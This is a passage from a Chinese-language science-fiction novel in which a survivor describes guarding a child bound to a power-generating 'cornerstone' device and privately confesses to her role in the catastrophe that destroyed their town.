她开始一点一点地修复这个破败的小镇,清理废墟,稳定那些还能运作的基础设施。 这既是生存所需,也像是一种无言的忏悔和补偿。 周雨婷不想让林晓一醒来就看到破败的家园,虽然这种行为无异于亡羊补牢。 在这个过程中,周雨婷发现自己也拥有了类似异能的能力——或许是在同化过程中与林晓的力量产生了某种奇特的联结。 她能更清晰地感知到能量的流动,也能进行一些基础的操控。 林晓并非一直昏迷。 她时而会清醒,能与周雨婷进行简短的交谈,声音直接出现在周雨婷的脑海里,虚弱但清晰。 但更多时候,她会陷入长时间的沉睡。在沉睡时,一些零碎的思绪、模糊的感受、片段的记忆,会不受控制地、如同羽毛般悄悄飘入周雨婷的意识。 周雨婷还发现,林晓的感知在一定程度上与她相通。 通过这种无声的链接,周雨婷逐渐拼凑出林晓的过去。 那些被反复灌输的“为了基石,奉献所有”、“守护小镇,等待亲人回归”的信念,如同最深的烙印,即使经历了那样的痛苦和背叛,即使自身变成了这般模样,依然根植于林晓的意识深处。 她控制着那些“秩序行者”巡逻,既是为了保护这片残破的家园,也是为了竖起一个标志,一个希望那些“亲人”——撤离的研究人员——能看到的、指引他们回来的灯塔。 之前沈悬衡他们在宿舍楼能用上电,也正是因为地下深处,沉睡中的林晓无意识外放的异能,转化为了可利用的电能和热能。 周雨婷能清晰地“感受”到,在那被洗脑的、固执的守护信念之下,林晓内心深处真正的愿望是“死亡”,是解脱,是结束这无休止的痛苦和作为“基石”的束缚。 然而,“不能自杀”、“必须守护到最后一刻”的指令,如同最坚固的枷锁,将她牢牢禁锢。更讽刺的是,她的异能效果之一,就是在本体意识到致命威胁时,会自动启动绝对防御。 周雨婷试过,她无法亲手给予林晓解脱——无论是出于内心的愧疚,还是物理上的不可能。 时间拉回现在。 “所以总而言之,言而总之,就是这么个情况。不管你们听没听懂,我说完了。” 周雨婷两手一摊,无奈表示自己已经叙述完毕。 陆昭妄第一个打破沉默,他轻嗤一声:“所以,我们现在是站在了灾难源头和唯一幸存者的面前?这剧情可真是……黑色幽默。” 他的话带着惯有的刺,但目光扫过周雨婷异化的身躯和林晓所在的培养槽时,少了些平日的玩世不恭。 沈悬衡没有理会陆昭妄的评论,她向前半步,视线落在周雨婷身上,语气平稳却带着穿透力:“你选择留下,不仅仅是因为愧疚。” 这不是疑问句,她听出了周雨婷的话语漏洞。 闻人策推了推眼镜,冷静地补充:“基于现有信息,这是一个典型的死锁状态。守护者因负罪感无法离开,被守护者因底层指令无法解脱。从逻辑上看,暂时无解。” 闻人略抱着手臂靠在墙边,闻言只是眉头微不可查地蹙了一下,目光扫过能量槽,下颌线绷紧了些。他没有说话,但周身散发着警惕。 虞清欢的目光则在周雨婷和林晓之间流转,她轻轻叹了口气, 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透过这层“纱”,一个清晰的、带着些许虚弱的“声音”在他们心中响起: 「你们好,我是林晓。谢谢你们听周姐姐说话。」 「你们是从外面来的吗?外面……现在是什么样子?」 众人第一次以这种方式“交流”,在经历了一段时间的适应后,虞清欢第一个尝试与林晓“交谈”。 虞清欢对她露出一个温和的笑容:“外面很大,虽然也有很多危险,但……也有不一样的风景。” 林晓沉默了几秒,然后,一股清晰的、由衷的喜悦传递开来:「太好了!周姐姐,你跟她们走吧!」 这话让五人都愣了一下。 林晓的意识变得急切,甚至带着恳求:「这个装置现在很稳定,我能控制好!姐姐不用一直守着我了!你可以离开这里,去看你说的那些……自由的地方!」 周雨婷按在玻璃上的手指收紧,指节泛白,声音低沉下去:“我说过,我会在这里。” 「可是……」林晓的意识透出困惑和失落,「外面不是很精彩吗?姐姐应该自由……」 沈悬衡适时开口,声音平静却不容置疑:“林晓,谢谢你的好意。不过,我们和你周姐姐还有些事情需要单独谈谈。”她看向周雨婷。 周雨婷看了沈悬衡一眼,深吸一口气,对培养槽方向低声道:“晓晓,你先和其他人玩,断开我和沈悬衡的连接。” 「……好。」林晓的意识顺从地退去。 沈悬衡对周雨婷做了个手势,指示周雨婷去往靠边的角落。 周雨婷最后看了一眼培养槽,转身跟沈悬衡走向控制室角落。 陆昭妄见此,立刻站直身体,下意识就要跟上。 沈悬衡停下脚步,侧头看他:“就在那边,说几句。” “谁知道她会不会突然发疯?”陆昭妄瞥了一眼周雨婷异化的右半身,“我跟你去。” “她不会对我怎么样。”沈悬衡的声音很平静,却带着不容置疑的意味。 陆昭妄与她对视两秒,扯了扯嘴角:“行,听你的行了吧。”他重新靠回控制台,双臂环抱,补了一句,“但要是听到什么不对劲——” “不会有不对劲。”沈悬衡打断他,转身继续走向角落。 陆昭妄啧了一声,没再说话,但那双眼睛却像探照灯,紧紧追随着沈悬衡的背影,身体看似懒散地靠着,实则每一块肌肉都处于蓄势待发的状态。 在确保走到林晓无法“听到”的角落,沈悬衡停下脚步,目光直视周雨婷。 “你隐瞒了关键部分。在这场灾难里,你的角色并非完全被动。” 周雨婷愣了半晌,长呼出一口气,带着认命般的疲惫,又夹杂着一丝对自己眼光的莫名确认——她就知道,沈悬衡聪明得能赶上她了。 “是,是我撺掇林晓毁掉这里的。”周雨婷开口,声音沙哑而平静,“我告诉了她一切,说这场灾难是我的‘杰作’。” 她顿了顿,目光没有焦点地落在空中某处。 “我的本意是想带着赵薇和她,我们三个,逃出这个鬼地方,远走高飞。” 赵薇的名字吐出时,她的声音几不可查地颤抖了一下。 “但我算错了一步。” “我高估了她当时对异能的控制力,低估了‘基石’与她意识的绑定深度,忘记了她只是一个瘦弱的,身患白化病的小孩子的事实。” “她试图按照我说的去做,结果力量彻底失控,引发了连锁崩溃……赵薇也死了。” “我为自己的傲慢付出了代价。” 周雨婷的语气低沉下去。 “林晓一直觉得,她死了,我就能自由。但她不知道……我活着的理由,只剩下她了。” 她抬起左手,按在自己半异化的胸口。 “她如果死了,我绝不独活。” 话音落下,角落里一片死寂。 沈悬衡静静地听着,她没有露出惊讶的表情,只是目光变得更加深邃,仿佛早已窥见了部分真相。 她沉默了片刻,才缓缓开口,声音很低,却带着千钧的重量。 “所以,你不仅是看守,也是点燃引信的人。而现在,你把自己也锁在了这片废墟里。”